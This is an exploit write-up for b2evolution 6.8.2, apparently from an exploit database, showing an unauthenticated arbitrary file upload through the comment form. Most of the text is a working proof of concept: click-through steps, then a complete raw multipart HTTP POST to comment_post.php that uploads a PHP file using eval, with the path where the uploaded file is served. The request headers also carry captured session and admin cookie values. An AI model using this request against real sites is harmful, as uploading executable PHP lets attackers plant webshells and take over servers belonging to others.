b2evolution 6.8.2 - Arbitrary File Upload

# Exploit Title: b2evolution6.8.2stable – Upload
# Date: 29/12/2016
# Exploit Author: Li Fei
# Vendor Homepage: http://b2evolution.net/
# Software Link: http://b2evolution.net/downloads/6-8-2-stable?download=6407
# Version: 6.8.2
# Tested on: win7 64bit

No need admin access for upload files and we can upload any file without bypass(.php,.exe,....)

1-goto http://localhost/b2evolution/index.php/a/extended-post

2- click on Browse botton and select you`re file

3- click on upload

Ceshi.php path is:

http://SiteName/ceshi.php

poc url:

POST /b2evolution/htsrv/comment_post.php HTTP/1.1

Poc header:

Host: localhost

Content-Length: 1054

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://localhost

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytZ4hUYCjABZB7YSL

Referer: http://localhost/b2evolution/index.php/a/extended-post

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: session_b2evo=8323_COaAvLi6oU0LKIlMsoa207tOu4MRliDS; iCMS_USER_AUTH=93f92757UuFn7JIQa3nI%252Bk%252FF0s5elmm8KsIgZm%252F357CeOEhJUy7AsnKbPiZUa2eJTzmQx9lPUSaQcNVQtRiWJd%252BCBX0BQ4UpjoiTRBtkGujEc8rTtKoz3IGSFexrQEnmFfxKiL%252B1KR4nGq9wA88zDfJw6c1D7w7xeiYht2Iwo72Fcv8s6JjLcedy52QCOTHRPAFQ%252BdKcClUZz4vjvIvfZi5j6V4xQ1jpbnvV%252FMH6uyw7%252BL4Q41xqDKfgf1j7Sl36%252FGiXHwnij92A6nAMnxG78ZkUg5WG9PY5AtTyEMEtrHAuip7iPJbItdeuTSiTqwoIff%252BLuU4FM9nEldOYY2Jm9UD6XdgaXuyZBHhvb1v0buICmdQPX6rfrki9lZA; iCMS_userid=faf9c76a%252FQiEcyDoXBxmLMRDumokuULwqflVA%252FnfKJbcmsqFgw; iCMS_nickname=a693e7b1f4QEBL83uf0qmVI9BhIOCYq%252FTxa7NPwX8xobJpNm8bA; a8850_times=1; CNZZDATA80862620=cnzz_eid%3D1580835190-1482064117-http%253A%252F%252Flocalhost%252F%26ntime%3D1482064117; iweb_captcha=a95d2426cce76ef614NzA5ODI0NDUwOT5uZjFmY2RibDw4NGMyZjYxYzdmY2Bsa2ppdA; iweb_admin_role_name=6f99d0f079b6898180NDA1OTgwODg2NTk2PWA0Y2IwNGY9YWJgYWI3PmpgO2TrtofivafjrqbnmIXtkZg; iweb_admin_id=bef908b03b94700ce0ODA1MDEwMDAwMGowOTZlNzUwMTg2MDMxMmA3MWIxMzYx; iweb_admin_name=bef908b03b94700ce0ODA1MDEwMDAwMD8xbmUzMWFlOThiOzI3YjVmOjFgMjlhbWxpZg; iweb_admin_pwd=52f2f828c001b132f5NzAwMDc1NDcwMTg9YTE3NW8xYzA0M2E1YDdlYmY9YTllMjBnYmAyOjI5amEyOWNkYGU3NmUwNTdmNDVjPTA1ZQ

Connection: close

 

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="comment_rating"

 

 

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="g"

 

 

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="uploadfile[]"; filename="ceshi.php"

Content-Type: application/octet-stream

 

<?php

eval("echo'hello world';");

?>

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="submit_comment_post_19[save]"

 

Send comment

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="crumb_comment"

 

dXuthsKjMjhG2dnhADtzzOW414qV6Qky

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="comment_type"

 

comment

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="comment_item_ID"

 

19

------WebKitFormBoundarytZ4hUYCjABZB7YSL

Content-Disposition: form-data; name="redirect_to"

 

http://localhost/b2evolution/index.php/a/extended-post

------WebKitFormBoundarytZ4hUYCjABZB7YSL—